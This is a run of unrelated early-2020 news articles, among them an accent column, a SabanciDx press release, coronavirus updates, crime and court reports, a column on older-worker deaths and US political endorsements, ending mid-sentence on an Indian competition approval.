Ian McMillan's plea this week for more northern newsreaders on TV. It is true that the BBC has been turning down the volume on plummy accents of late. Presenter Chris Mason, who claimed last year that his Yorkshire voice had helped him get the job presenting Radio 4's 'Any Questions', has lamented the prospect of others having to change their accents. Yet I found that the decision to alter mine was totally liberating. Life is unquestionably smoother if you are well spoken. Just because you happen to have been born on the banks of the Humber or within the sound of Bow Bells doesn't mean you have to be lumbered with the accompanying dialect for the rest of your life. Had I not learnt to enunciate my aitches and drop the long, flat vowels of my early years, I'm certain I would not today score the "Yes, we can possibly squeeze you in" medical appointments, the no-questions-asked shop refunds and the "Let's talk at my club" work conversations. This is not fair. But neither, for my working-class parents, are the narrowed eyes and hunched shoulders they are greeted with upon every encounter with authority or any request for service. 'Upstairs, Downstairs' may have been fiction, but the on-screen world in which Miss Hazel could command "tea in the drawing room" while colloquially voiced characters scrubbed copper pots down below reflected my early childhood with uncanny accuracy. Even to a seven-year-old, opting for an upstairs accent seemed like a no-brainer. Barrister and social mobility campaigner Hashi Mohamed, author of 'People Like Us: What It Takes to Make It in Modern Britain', advises young people wishing to transcend their background to adopt a professional accent for work, even if they want to retain a more down-to-earth register for family and friends. He is right. Tying people to their dialect of origin is not a social mobility springboard but a trap. Of course, adopting a new accent is a bit like owning a really good fake painting: the clues are always there if an expert gets close enough. The west London place names I learnt as a small child are my Achilles' heel: it is still an effort to prevent the likes of 'Arlesden, 'Ammersmith and Notting 'Ill from slipping out. And, as Margaret Thatcher's slightly strangled tones testified, it is the strong emotions that are harder to express in a voice that is not 100pc your own. Still, the only people who generally rumble me are foreigners who attended English drama schools. They recognise the subtle difference between effortless RP and a carefully constructed replica because they had to learn to do exactly the same for costume drama auditions. Even if the ownership of a Peggy Mitchell-twang were to swing into fashion, when you've faked it for as long as I have, there is no turning back. This polished accent of mine is the nearest thing I have to a true voice. Just do please refrain from asking for directions if you spot me in west London, just in case. Thanks awfully. (Daily Telegraph London) ISTANBUL, Feb. 21, 2020 /PRNewswire/ -- SabancDx, the digital and analytics company of Sabanc Group, achieved 39% growth in turnover and increased its net income by 96% in 2019 through its investments in technologies including advanced data analytics, robotic process automation, blockchain, artificial intelligence and industrial IoT. With its outstanding rapid growth and the bold steps it took, SabancDx was also named by Fortune Magazine among the companies to follow in 2020. SabancDx partnered with five new generation technology start-ups SabancDx launched its Digital Campus in the last quarter of 2019 with a goal to create an R&D ecosystem based on collaboration among industry, academic institutions and start-ups and initiated the Catalist Start-up Program in the campus where more than 300 start-ups were analysed for collaboration. After identifying 50 start-ups as partner candidates, SabancDx started to work actively with five start-ups operating in new generation technology fields including IoT, advanced data analytics and digital twins. Expanded into two new markets through software exports SabancDx expanded its online procurement platform Pratis to Egypt and Portugal in 2019. Pratis, the platform bringing companies and best in class suppliers, analyses data of the last five years in order to increase the efficiency of procurement departments. Thanks to its broad supplier base, companies using Pratis enjoy strategic procurement and e-tender processes with optimum costs. Value creation of TRY 200 million through advanced data analytics Using data to transform businesses through data analytics, SabancDx conducted 74 analytics projects including 27 projects in industrial and cement sectors, 11 projects in energy sector, 19 projects in insurance sector and 17 projects in retail sector. TRY 200 million equivalent of value was created with projects to improve efficiency, profitability and product quality. The DnA Platform, formed as a SabancDx initiative to increase advanced data analytics' transformative and synergizing impact in the business world and hosts Sabanc University Advanced Data Analytics Academy alumni and analytics professionals of Sabanc Group, reached 200 members in 2019. The CFO of Sabanc Holding and SabancDx Executive Director Bars Oran, commented on SabancDx's 2019 activities: "Reinventing itself through refocusing on key growth areas with the 'Sabanc of New Generation' vision, SabancDx contributes to the digitalization and innovative transformation of companies while making business processes more efficient and competitive by acting as the digital facilitator of companies. In 2019, we have achieved rapid growth in advanced data analytics, software development and robotic process automation. Developing products in analytical solutions, growing in other markets, achieving fast growth through building up capabilities in industrial IoT and cyber security are the priorities for 2020. The Digital Campus will be a great example of collaboration. SabancDx has generated a significant field of attraction for talent in the technology field through growth and transformation." SabancDx Managing Director Burak Aydn underlined that 2019 was a milestone for SabancDx and added: "We had a very successful year. Following 2018 in which we relaunched our corporate branding, we had a comprehensive transformation in 2019. We have always believed in the power of collaboration among industry, academic institutions and start-ups for Turkey's long-term development and we have established an innovation-driven ecosystem in our Digital Campus. Digital Campus has already become a meeting point for businesses, academicians and start-ups. We went through a transformation that adopted a new approach with teams that can adapt quickly to changes, create value and perform in a flat organization. In line with the vision for SabancDx, we are working for solutions related to the quality, deduplication and correlation of data, which has become the new currency of our day, and on transforming data into information, and information into added value with advanced data analytics. We had significant success in expanding our business, both in scope and geography. I believe that we have laid a strong foundation for the next decade in terms of developing new products and expanding into markets abroad and we will be guiding Turkey's digital transformation journey with success." About SabancDx Having operated under Sabanc Holding, SabancDx aims to pioneer Turkey's digital transformation through the vision of expanding into a global landscape. SabancDx continues its activities in the field of advanced data analytics and digital transformation with the legacy it inherited from BimSA, which has 43 years of information technology experience and has completed many firsts and successful projects. SabancDx plays an important role in the 'Sabanc of the New Generation' approach adopted by the Sabanc Group with its breakthrough new generation technologies such as Advanced Data Analytics, Robotic Workforce and Cyber Security. https://www.sabancidx.com/ Photo - https://mma.prnewswire.com/media/1093132/Baris_Oran.jpg Photo - https://mma.prnewswire.com/media/1093133/Burak_Aydin.jpg Logo - https://mma.prnewswire.com/media/1093131/SabanciDx_Logo.jpg Contact: Ayse Ekin Gunduz Bordo PR +90-212-219-29-71 / +90-533-921-43-53 ayseg@bordopr.com.tr Related Links https://www.sabancidx.com SOURCE SabanciDx Germany's 10-year government bond yield bounced off four-month lows after a batch of business surveys delivered healthier-than-expected views of the euro zone economy. Purchasing managers' surveys showed the private sector in Germany, the bloc's biggest economy, expanded steadily in February as growth in services activity made up for an easing recession in manufacturing. The coronavirus outbreak, however, may pose a threat to future exports. IHS Markit's flash composite Purchasing Managers' Index (PMI) for Germany, which tracks the manufacturing and services sectors that together account for more than two-thirds of the economy, edged down to 51.1 from 51.2 the previous month. The reading beat the consensus forecast in a Reuters poll of analysts who had expected a drop to 50.8. Business activity in France and the wider euro zone also expanded faster than expected in February, PMI surveys showed. Uncertainty stemming from the potential economic impact of the coronavirus outbreak has boosted demand for safe-haven bonds in recent weeks, while money markets have started to price a higher probability of a rate cut from the European Central Bank by the end of the year. Ten-year German government bond yields fell to a four month low earlier on Friday at -0.46pc, but bounced back up following the PMI release. They were last trading flat at -0.45pc. The entire Dutch yield curve briefly returned to negative territory in earlier trade. The 30-year Dutch bond yield - the longest on the sovereign curve - fell to -0.012pc, its lowest since October 10. It was last around 0.01pc, down 3 basis points on the day. The rise in yields following the data release was "tempered by the fact that we've got this ongoing issue that's still developing," said Rabobank strategist Lyn Graham-Taylor, as the situation around coronavirus has continued to evolve since the survey data was collected. Should yields fall further, the German yield curve is next in line to return to negative territory, with the 30-year bond yield currently trading at 0.02pc. A snack wrapper smuggled into a state prison was actually hiding meth and tobacco, Georgia officials say. . Two women are accused of using Hot Pockets packaging to try to bring contraband into the Calhoun State Prison, according to warrants the Georgia Department of Corrections shared Friday. Imani Rene Ferguson, 21, and Corlethia Cantrell Lattimore, 28, were working as prison guards when they failed to get through the buildings security check, according to a prison spokesperson. Imani Rene Ferguson, left, and Corlethia Cantrell Lattimore Security officers opened the hot pockets and located tobacco and meth, Lori Benoit of the Department of Corrections wrote in an email to McClatchy News. A picture shared with WALB appears to show tobacco and meth replacing the filling of pepperoni pizza snacks. Calhoun State Prison is a medium-security mens facility, located in the city of Morgan and roughly 30 miles west of Albany. Officials say Ferguson planned to give an inmate at Calhoun 74 grams of tobacco. The substance was found concealed in a microwaveable meal wrapper, according to arrest warrants. Lattimore had about 112 grams of meth for an inmate and helped obtain the tobacco, officials wrote in her warrants. In Georgia, tobacco and illegal drugs are considered contraband in state prisons, according to the Department of Corrections website. We stand committed in our continuing efforts to bring justice to those who pose a threat to the safe and secure operations of our facilities, and we applaud the work of GDCs Correctional Officers, Benoit wrote. Ferguson and Lattimore were terminated, according to the prison system spokesperson. The two former correctional officers were arrested Monday and brought to the Calhoun County jail, records show. Ferguson was charged with violation of oath by a public officer, conspiracy to commit a felony and providing prohibited items to inmates, according to the warrant and the Calhoun County Sheriffs Office. She was out of jail Tuesday on a $15,000 bond, Sheriff Josh Hilton told McClatchy News. Lattimore was facing the same charges as well astrafficking in methamphetamine and crossing state or county lines with drugs, records show. Her bond hadnt been set as of Friday morning, according to the sheriff. Hilton told WALB his deputies and prison officials have arrested nearly a dozen people in the last year for trying to smuggle contraband inside the prison. Russia on Friday hailed a historic agreement between the United States and the Taliban as an "important event" for peace in Afghanistan. Moscow's Afghanistan envoy, Zamir Kabulov, told state agency RIA Novosti he would take part in the signing ceremony on February 29 if invited. "It will be an important event for the peace process in Afghanistan," he added. Washington and the Taliban said they would sign the accord provided a week-long partial truce holds. The agreement would mark a major turning point in the conflict, setting the conditions for a deal that could ultimately see US troops pull out of Afghanistan after more than 18 years. Kabulov said Moscow hoped that nothing would stand in the way of the accord, urging all sides in Afghanistan to begin dialogue after the conclusion of the deal. "The real work will start afterwards," he was quoted as saying. "This phase is important to us. That's why the signing of the agreement between the United States and Taliban is necessary and important. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A man is dead after a disturbance outside a northeast Houston motel Friday morning. Witnesses spotted someone throwing items through a window at the Plaza Motel in the 9700 block of Lockwood Drive around 5:15 a.m., according to Houston police. Around the same time, dispatchers received reports that someone was shooting at another person in a car, police said. MORE FROM JAY R. JORDAN: 2 killed in Texas City, shooter dead after police chase southeast of Houston, police say Moments later, a man apparently involved in the disturbance was run over by a driver near the intersection of Lockwood and Tidwell, which is one block south of the motel, according to police. Paramedics pronounced him dead in the roadway, police said. Whether that victim was shot amid the gunfire is unclear. Detectives with the Houston Police Department Vehicular Crimes Division are leading the investigation. BOTCHED RAID UPDATE: Houston Chronicle reveals oversight lapses in HPDs handling of confidential informants This is the second deadly incident at the Plaza Motel in as many weeks. On Feb. 5, a 21-year-old man was killed and a 34-year-old woman critically injured during an apparent robbery shooting inside a room at the motel. No arrests have been made in either case as of Friday morning. Jay R. Jordan covers breaking news in the Houston area. Read him on our breaking news site, Chron.com, and our subscriber site, HoustonChronicle.com | Follow him on Twitter at @JayRJordan | Email him at jay.jordan@chron.com Two of the 144 evacuees from the Diamond Princess cruise ship who are under quarantine at Joint Base San Antonio-Lackland are infected with the novel coronavirus, the Centers for Disease Control and Prevention said Friday. Dr. Nancy Messonnier, director of the CDCs National Center for Immunization and Respiratory Diseases, said in a call with reporters that the agency has confirmed the virus, known as COVID-19, in a total of 18 people brought to the U.S. from the Diamond Princess cruise ship. The sacked All Progressives Congress Deputy Governor-elect in Bayelsa State, Senator Biobarakuma Degi-Eremienyo, has said he did not forge any of his certificates. The Deputy Governor-elect, who was sacked alongside the Governor-elect, David Lyon, less than 24 hours to their inauguration by the Supreme Court, said this on Thursday when he spoke with newsmen in Abuja. Degi-Eremienyo called for the investigation of his credentials. He said: The aim of this press conference is to defend my reputation, which the Justices of the Supreme Court, whether consciously or unconsciously, subjected to scurrilous scandal, assault and unfair imputation. Let me state that some of my primary school teachers are still alive: Chief Eredogiyo Watson, Chief Allen Obebe-Orukari and Susan Otiotio. Let me also state in clear and graphic terms that I attended two secondary schools. First, Nyemoni Grammar School, Abonnema, Rivers State, where some of my classmates were Harrison Braide, Tombo Douglas, Ferdinand Amabebe, Prof. Owunari George Will, Justice Biobele Georgewill, Chief David Briggs and Alpheus Otta and some of my teachers were Mr. Wamarte and Mrs. Humbly, Mr. Frank, etc. All my academic certificates are in the public domain. Whether they are genuine or forged are verifiable matters. If these certificates exist and have not been altered in any manner, it would mean they are genuine. The next enquiry would then be if the names appearing thereon belong to me or belong to some other persons. If no other persons can be found who claim the names in the certificates, then they are mine. Judges, including justices of the Supreme Court, are free to request law enforcement agencies to investigate persons who appear before them as to the commission or otherwise of crimes. All the educational qualifications I presented to the Independent National Electoral Commission to aid my constitutional qualification were acquired by me personally from institutions here in Nigeria, which are still in existence till date. The records are verifiable anytime and any day here in Nigeria. U.S. workplaces have gotten a lot safer over the course of the past century. In 1913, the Bureau of Labor Statistics estimated that there were 23,000 industrial deaths, or 61 for every 100,000 workers. In 2018, the number of what are now called occupational fatalities was 5,250, according to a BLS survey much more exhaustive than its 1913 precursor, or 3.5 for every 100,000 full-time equivalent workers. But those 5,250 deaths were an increase over 2017s 5,147, and workplace fatalities have been up for six of the last nine years (the chart starts in 1992 because thats when the BLS started its more-complete Census of Fatal Occupational Injuries). Recessions tend to reduce the number of workplace injuries and deaths because there are fewer workers to get hurt and because high-risk industries such as construction and trucking are often hit hardest by job losses. Some increase in fatalities was thus to be expected as the economy recovered in recent years, and the current number and rate of fatalities remain below the levels that prevailed before the last recession. (The BLS changed how it calculated the rates in 2006, which is why this chart only goes back that far.) There was, however, something unusual going on in 2006 a housing bubble that pushed the fatality-prone construction sector to its highest share of non-farm employment since 1956 that makes the drop afterward less impressive and the subsequent failure of the fatality rate to keep falling the bigger story. It is also possible to identify a major force that has been keeping the rate from falling. This force is not necessarily evil, but as a 56-year-old I do find it kind of creepy: More people older than 55 are working, and people over 55 are more likely to die on the job than younger workers. First, the statistics on 55-plussers in the workplace: This rise of the older worker is partly just demographics the giant baby boom generation, as defined by the Census Bureau, ranges in age from 55 to 74. But its also because older Americans, especially much-older Americans, are far more likely to be part of the labor force now than they were in the 1970s through 1990s. Among those 65 and older, the labor force participation rate has risen from a low of 10.4% in 1985 to 20.3% now. Among those 75 and older it has gone from 4% to 9.7% percent. Older Americans are likelier to be working now for a variety of reasons. Some seem entirely positive despite the recent stall in life expectancy, Americans are living significantly longer than they did a few decades ago, and once-common mandatory-retirement rules have largely disappeared since Congress banned most of them in 1986. A more complicated issue is the changing nature of retirement income: Some Americans work into their 70s because they have no retirement savings, while others have savings but work longer because the defined-contribution plans that now predominate reward delayed retirement in ways that most traditional pensions do not. In any case, as the share of older workers has grown, the share of workplace deaths that they account for has grown, too. Its not that the workplace has been getting more dangerous over time for older workers. Every age group has seen declines in workplace fatality rates since 2006, and the decline for those 65 and older has been the biggest. But 65-plussers share of the workforce has grown by three percentage points just since 2006, and their occupational fatality rate remains much, much higher than anybody elses: 10.3 in 2018 versus 3.5 for the workforce overall and 4.6 for those ages 55 through 64. Being older obviously does make one more prone to keel over, but the occupational fatality statistics dont include on-the-job deaths due to natural causes. So what explains the higher death rates of older workers? In an analysis published last month that was the inspiration for this column, BLS economists Sean M. Smith and Stephen M. Pegula sliced and diced the numbers in several ways in an attempt to answer that question. (To get statistically meaningful results, they generally focused on the entire 55-plus age group, not the smaller but much-higher-risk group of workers 65 and older, and combined data for a number of years.) One thing that they found was that those 55 and older were more likely than younger workers to die of lingering injuries days, weeks, months or even years after a workplace incident. Older people are more fragile than younger ones, so they have more trouble recovering from workplace injuries than their younger peers, and are more likely to suffer certain injuries (hip fractures, for example). When it comes kinds of accidents, the biggest cause of workplace fatalities for both older and younger workers is roadway incidents involving motorized land vehicles, aka traffic accidents, which Smith and Pegula found were responsible for about a quarter of deaths from 2011 through 2017 among those under 55 and among those 55 and older so no disparity there. Fatalities among those 55 and older were significantly less likely to be caused by electrocution, homicide and suicide than among younger workers, while deaths from being struck by an object or equipment, falling to a lower level and being hit by a vehicle as a pedestrian made up a moderately larger share of workplace deaths for older workers than younger ones. The cause of death for which the age difference was the biggest was nonroadway noncollision incidents, which accounted for 6% of workplace deaths for those 55 and older and 3% for those 54 and younger. What could these nonroadway noncollision incidents possibly involve? Think tractors. Agriculture, forestry, fishing and hunting had the second-highest fatality rate in 2018 of any industry whose fatality rate was estimated by the BLS, after truck transportation (23 deaths per 100,000 full-time equivalent workers versus 28). Smith and Pegula found that, from 2003 through 2017, farmers, ranchers and other agricultural managers suffered 14% of the occupational fatalities among those 55 and older, versus a bit more than 2% among those 54 and younger. For a variety of reasons, farmers have been finding it harder and harder to retire or easier and easier not to retire, as modern farm equipment allows them to do more on their own. Farmers and ranchers have the highest median age among occupations for which the BLS calculates that figure, at 56.1 years, and a remarkable 30.8% of them are 65 and older. Most of the fatal nonroadway noncollision incidents mentioned above involved jack-knifed or overturned vehicles, so basically, a not-insignificant number of elderly farmers are dying when their tractors or pickup trucks tip over. But hey, theyre out in the fields, amid the amber waves of grain. There are worse ways to go. Which brings us to the bigger question of whether anything should be done about this rise in older-worker fatalities. Smith and Pegula conclude their study with the hope that it will help safety and health experts tailor their efforts to best meet the needs of older workers and to keep them safe during their careers, which sounds like a good plan but not exactly a game-changer. Technological advances have played a big role in reducing workplace risks in the past, and one can easily see how self-driving technology could make truck driving, farming and other occupations much safer albeit at the same time destroying lots of jobs. In the meantime, the most powerful policy lever seems to be retirement-system design. In countries where old-style pensions still prevail, 65-plussers are much less likely to have jobs than in the U.S. Data from the International Labor Organization also indicate that the U.S. has a much higher occupational fatality rate than most other affluent countries, but national standards for reporting and calculating these rates seem to vary so much that I suspect the numbers arent really comparable. So no chart of that! But it does seem clear that if we paid people to leave their jobs at 65, there would be fewer occupational fatalities in this country. This would also, of course, be very expensive, and the funding shortfalls that loom in some of those countries with old-style pensions dwarf what is in store for Social Security (which is basically an old-style pension, too, but is relatively small and doesnt require that you retire to receive it). Whats more, theres a growing body of evidence indicating that working past 65 actually prolongs peoples lives. That is, you may be more likely to die on the job, but youre less likely to die, period. Which seems like an OK trade-off. Copyright 2022 Bloomberg. Topics Agribusiness Rapper Pop Smoke died at the age of 20 years old and was believed to have been murdered by unknown persons in a home invasion, Remezcla reports. The rising star Pop Smoke whose real name is Bashar Jackson, was born in Brooklyn but has deep Latino roots. He is the son of Jamaican and Panamanian parents. His pseudonym Pop Smoke is also influenced by Latino culture. Pop means "Papa" which his grandmother used to call him and Smoke comes from "Smoke Oh Guap" which his friends used to call him. Pop Smoke is best remembered for his hit "Welcome to the Party" which he released in April last year. It was later remixed by Nicky Minaj and was originally part of Pop Smoke's debut mixtape, "Meet the Woo." Jackson is one of the rising stars not only in the Latino community but also in the music industry overall. He has released a collab-filled follow up early this year in "Meet the Woo Volume 2." However, the stardom that everyone expects him to have is now cut short. Law enforcement said that his death could be homicide or murder. It is still not clear until now the motivation of the crime. They cannot determine if Jackson was the target of the crime or was just a crime of opportunity. Capt. Steven Lurie, of the Los Angeles police, told reporters that there were two to six people who invaded the house and at least one of them was wearing a mask in the Hollywood Hills home on Hercules drive where Pop Smoke was. The incident was tracked after a person from the East Coast called the police around 4:45 a.m. and told them that one of their friends who were inside the house called and told them that multiple persons broke into the house and one of them wore a mask and the other one had a handgun. Moreover, Capt. Lurie said that one person in the house was fatally shot and was taken immediately to the Cedars-Sinai Medical Center where the man was later on declared dead. Police detained several people inside the house who were released later. There were no arrests made yet because they could not establish the motivation of the crime. Meanwhile, detectives said on Wednesday that they already did an investigation and interviewed the witnesses. It also not clear as to who owns the house and whether was the invasion intended or not. However, based on the Public Property Record that the property is somehow connected to the daughter of musician John Mellencamp, Teddi Mellencamp- star of the "Real Housewives of the Beverly Hills." Teddi Mellencamp immediately posted in her Instagram account confirming the shooting incident that took place in her rental property. She wrote: "Early this am we were informed by a 3rd party leasing and management company overseeing a rental home we own in Los Angeles that a shooting had taken place at the property. Foremost, we would like to extend our prayers and condolences to the family and loved ones affected by this tragic loss of life." In a report from NBC News, New York Police said that Pop Smoke had a criminal record way back in 2017 and that includes his eight arrests. Law enforcement said that Pop Smoke has been a gang member based on court documents but it is not clear what role he had in the group. Police authorities also have the assumption if his connection with the gang has something to do with the crime. In the developing investigation, it was also found out that just in January Pop Smoke was accused of stealing a Rolls Royce across the state-line. The owner of the car and Pop Smoke later on, agreed that the rapper can use the car in his music video in exchange for the owner will get special treatment during Pop Smoke's concert. His other arrests in 2018 include allegations of shoplifting, possession of firearms, and drug-related offenses. Police authorities are now seeing all angles that will help them solve the crime by looking into also the offenses committed by Pop Smoke in the past that may have a connection in his death. A news outlet tried to reach out to the lawyer of Pop Smoke but did not give any comments yet. A father has been convicted of killing his 14-month-old daughter after shaking her to death in a violent temper that left her with a 'catalogue of injuries'. Daniel Ashurst, 33, was cleared by a jury at Manchester Crown Court of murdering Hollie Ashurst but was found guilty of her manslaughter. Hollie sustained bruises and abrasions to the head and neck area, bleeding on the brain and in the eyes, a broken ankle and two possible bite marks to her hand and thigh. Speaking about her daughter's death, her mother Leanne Thompson, 27, said: 'I hate him, I absolutely hate him. I will never, ever forgive him.' Fourteen-month-old Hollie Ashurst died after she suffered a 'catalogue of injuries' at the hands of her father Daniel Ashurst Police were called by medical staff at around 2pm on February 28 last year when she was rushed from their home in Shevington, Wigan, to hospital. She had sustained severe head injuries and died the following day after suffering a cardiac arrest. Ashurst shook her in a violent temper while alone with the youngster at the family home in Fleming Court. He had been left alone to care for Hollie after her mother had gone to work. Daniel Ashurst, pictured with his daughter Hollie. Hollie sustained bruises and abrasions to the head and neck area, bleeding on the brain and in the eyes, a broken ankle and two possible bite marks to her hand and thigh Ms Thompson said Ashurst had encouraged her to return to her job as a beautician after taking 12 months off to care for Hollie. But it was only her second back in the job when the tragedy struck. Manchester Crown Court heard they had argued the night before and slept in separate rooms, before Ashurst drove her to work that morning. Ms Thompson said: 'On the morning, before it happened, he wasn't himself.' Mother Leanne Thompson, 27, said she has had to rebuild her her life again and she suffers every day 'He had a bit of an attitude with me and he was dropping me off at work. He didn't speak to me throughout the whole journey. 'I just said 'bye Hollie' - she was singing in the back of the car, being herself.' Speaking about her ordeal, Miss Thompson said: 'Since Hollie died it's been very tough. I feel like I have had to rebuild my life again. I stopped working. I suffer every day. It's very tough. 'I want the right justice for her. I do believe he has done it. I will never forget her.' Flowers left on Fleming Court in the Shevington area of Wigan after police launched the murder investigation last March Ashurst told medics his daughter had tumbled down two steps on the stairs at the family home. But in a defence statement seven months later he claimed a series of unfortunate accidents had befallen his daughter. In a rush to get her to hospital he said she fell further down the staircase when he slipped and lost grip of her as his shorts pocket snagged something on the way down. Ashurst then claimed Hollie flew out of her car seat as he braked heavily at a set of traffic lights. The Crown said his explanation for the injuries was 'nonsense' and was fabricated in a bid to fit the medical evidence. Jurors were told they could only convict Ashurst of murder if they found he had assaulted her and intended to cause her death or serious injury. Instead they unanimously agreed he intended to cause her some harm short of serious injury or he realised some harm was likely to be caused. Unemployed Ashurst was on medication for anxiety and depression and admitted he drank three of four cans of lager nightly and took cocaine two or three times a week to help him relax. Ashurst was cleared by a jury at Manchester Crown Court (pictured file image) of murdering Hollie Ashurst but was found guilty of her manslaughter He used cocaine on the evening before the fatal injuries were said to have happened, the court was told, but he said it had no effect on him the next day after 'a good night's sleep'. Hollie was first treated at the Standish Medical Practice, where paramedics managed to revive her after she appeared 'unresponsive'. She was rushed Wigan Infirmary and transferred to the Royal Manchester Children's Hospital because her injuries were so serious. Guy Gozem QC, prosecuting, said: 'This catalogue of injuries, we say, that they were not the result of an accident - or series of accidents, but rather than they were deliberately inflicted upon Hollie, including by shaking her.' He said there was also evidence she'd sustained two previous head injuries before sustaining the 'ultimately fatal' head injury. Ashurst denied a charge of murder and a charge of manslaughter, but the jury found him guilty of the latter charge. He was remanded in custody and is due to be sentenced on Wednesday 26. SEOUL Schools were shuttered, churches told worshipers to stay away and some mass gatherings were banned as cases of a new virus swelled Friday and Saturday in South Korea, the newest front in a widening global outbreak. The country said two people have died and 346 have been infected with the virus, more than six times the number of cases it had three days earlier, as a crisis centered in China has begun strongly reverberating elsewhere. The multiplying caseload in South Korea showed the ease with which the illness can spread. Though initial infections were linked to China, new ones have not involved international travel. The World Health Organization warned that such clusters not directly linked to travel from China suggest that time may be running out to contain the outbreak. The window of opportunity is still there. But our window of opportunity is narrowing, said WHO Director-General Tedros Adhanom Ghebreyesus. We need to act quickly before it closes completely. Tedros singled out Irans discovery of 18 cases and four deaths in two days and that a traveler from Iran carried the virus to Lebanon, and another traveler from Iran to Canada. These dots are very concerning take them as dots or trends, he said. South Korean Prime Minister Chung Se-kyun started a government meeting on the health emergency by saying, We have entered an emergency phase. Our efforts until now had been focused on blocking the illness from entering the country, he said. But we will now shift the focus on preventing the illness from spreading further in local communities. Daegu, a southeastern city of 2.5 million that is the countrys fourth largest, emerged as the focus of government efforts to contain the disease known as COVID-19, and Chung promised support to ease a shortage in hospital beds, medical personnel and equipment. Mayor Kwon Young-jin of Daegu has urged residents to stay inside, even wearing masks at home, to stem further infection. The first case in Daegu was reported on Tuesday. By Friday, the city and its surrounding areas had 152, including South Koreas first two fatalities. Nationwide, the numbers told of a ballooning problem. There were 20 new cases reported Wednesday, 53 on Thursday, 100 on Friday and 142 on Saturday. The government declared a special management zone around Daegu, which didnt restrict movement of residents or supersede local officials power but served as official recognition of the problem. Most of those cases have been linked to a single house of worship, a branch of the Shincheonji Church of Jesus, where a woman in her 60s attended two services before testing positive for the virus. About 1,000 others who attended services with the woman have been isolated in their homes for screening, and health authorities say theyre trying to monitor thousands of other church members. All 74 sites operated by the Shincheonji Church have been closed and worshipers have been told to instead watch services online for a sect whose leader claims to be an angel of Christ, but who is dismissed by many outsiders as a cult figure. Its teachings revolve largely around the Book of Revelation, a chapter of the New Testament known mostly for its apocalyptic foreshadowing. Usually bustling downtown streets of Daegu were nearly deserted Friday as people wearing face masks lined up at clinics seeking testing. Panic is taking hold, said Daegu resident Huh Mi-yeon. People are scared of any situation where they would run into another person. Hyung-Jin Kim and Matt Sedensky are Associated Press writers. NEWS FLASH Emirates will be hiring new cabin crew members from Slovenia, Serbia, Bosnia and Herzegovina and Macedonia. The Dubai-based airline will host two open days in Slovenia, on February 25 in Ljubljana and February 27 in Maribor starting at 09.00 local time. The first will be held at Radisson Blu Plaza Hotel (Bratislavska cesta 8), while the other will be based at the City Maribor Hotel (Kneza Koclja 22). In Serbia, the Middle East's largest airline will host an open day on March 7 at the Crowne Plaza Hotel (Vladimira Popovica 10) starting at 09.00. Over in Bosnia and Herzegovina Emirates will be hiring crew at the Hotel Mostar (Kneza Domagoja) on March 9 at 09.00. Finally, the carrier will be hiring Macedonian cabin crew members in Skopje on March 9 at the Marriott Hotel (Macedonia Square 7), also at 09.00. Crew requirements at Emirates include: at least 21 years of age at the time of joining, arm reach of 212 cm while standing on tiptoes, high school graduate, fluency in English (written and spoken), no visible tattoos while in Emirates uniform and the applicant must be physically fit to meet crew requirements. Those interested must bring with them their CV and one photo. If all requirements are met, final interviews will be scheduled over the course of the same week. Further details, as well as the application form, can be found here Maximum penalty sought for gold shop shooter BANGKOK: Prosecutors are seeking the death sentence for Prasittichai Khaokaew, the school director-turned-killer who robbed a gold shop in Lop Buri last month. murdercrimedeathpolice By Bangkok Post Friday 21 February 2020, 09:08AM Prasittichai Khaokaew is detained by the Crime Suppression Division last month. Photo: CSD The Criminal Court was asked on Thursday (Feb 20) to try the 38-year-old over the armed robbery at Aurora Gold Shop in Robinson shopping centre on Jan 9, in which he shot dead three people including a 2-year-old boy and wounded four others. Mr Prasittichai initially claimed he robbed the shop for "some excitement" in life. However, a source close to the investigation revealed he desperately needed money to settle debts of over B2 million. According to investigators, Mr Prasittichai used a CZ P-01 gun borrowed from his fathers house and fitted with a silencer which he later threw into a river. He made off with gold valued at about B635,000. We have to convince the court his confession doesnt mean he has repented, it simply means he gave in to the weight of evidence, deputy Criminal Litigation Department chief Phonchai Chonwanitkun said on Thursday. More importantly, his cooperation does not benefit the trial. But whether the suspect receives harsh penalties will depend upon the court, Mr Phonchai said. Prosecutors studied a police report sent on Feb 11 and decided to charge Mr Prasittichai with nine crimes, including killing a person to commit other offences, robbery, illegal possession of firearms, and firing a weapon without sound reason. In a separate development, the mother of Danusorn Numcharoen, 28, who shot dead his ex-wife at a cosmetic surgery clinic in a Bangkok shopping mall on Tuesday, said her son had planned to harm Piyanut Chatthai, 28, following their divorce. He couldnt forget his ex-wife even though they had split, the mother said on Thursday as she visited Mr Danusorn in detention at Phayathai police station. Read original story here. Representative Alexandria Ocasio-Cortez plans to endorse a group of progressive women running for Congress on Friday through her political action committee, including one who is running against Senate Democrats preferred candidate in Texas. One of our primary goals is to reward political courage in Congress and also to help elect a progressive majority in the House of Representatives, Ocasio-Cortez told the New York Times. Theres kind of a dual nature to this: one is opening the door to newcomers, and the other is to reward members of Congress that are exhibiting very large amounts of political courage. Anyone can show up one day and say, I support all these policies; that makes me a progressive, the freshman Democrat said. But one of the things that is really important to us is winning. The 30-year-old New York progressive, who shot to notoriety in 2018 when she ousted powerful Democratic congressman Joe Crowley, will endorse over a dozen women running for Congress through her political action committee Courage to Change, which launched in January on a promise to support progressive working class champions. Among those Ocasio-Cortez will announce her support for are labor organizer Cristina Tzintzun Ramirez, who is seeking to oust Republican Senator John Cornyn, snubbing the Democratic candidate endorsed by the Democratic Senatorial Campaign Committee, M. J. Hegar. The congresswoman will also grant her endorsement to Teresa Fernandez in New Mexico, Samelys Lopez in New York, and Georgette Gomez in California, who are all running for open seats in Democratic districts. Ocasio-Cortez has already endorsed Marie Newman, who is running against one of the only pro-life House Democrats, Representative Daniel Lipinski of Illinois, and thrown her support behind Jessica Cisneros, who is challenging Democratic Representative Henry Cuellar of Texas. Ocasio-Cortezs mission to guide the Democratic Party in a more progressive direction has been a powerful fundraising tool. Her campaign raised $1.4 million in January alone, many of the donations going straight to her political action committee. Story continues Last month, she announced that she would not pay dues to the Democratic Congressional Campaign Committee, which works to elect Democrats to the House. Its important for us to create mechanisms of support because so much of what is happening in Washington is driven by fear of loss, the congresswoman said. We can really create an ecosystem that makes people more comfortable into making the leap to make politically courageous choices. More from National Review New Delhi, Feb 21 : The Competition Commission of India (CCI) has approved the sale of 49 per cent stake in GMR Airports to France's Groupe ADP through the green channel mechanism. Green channel is an automatic approval system, whereby a combination is deemed to have been approved by the CCI upon receiving the filing of the notice for the combination by the parties concerned. "The Competition Commission of India (CCI) received the following green channel combination of acquisition by Atropos de Paris SA (ADP) of equity share capital of GMR Airports Limited 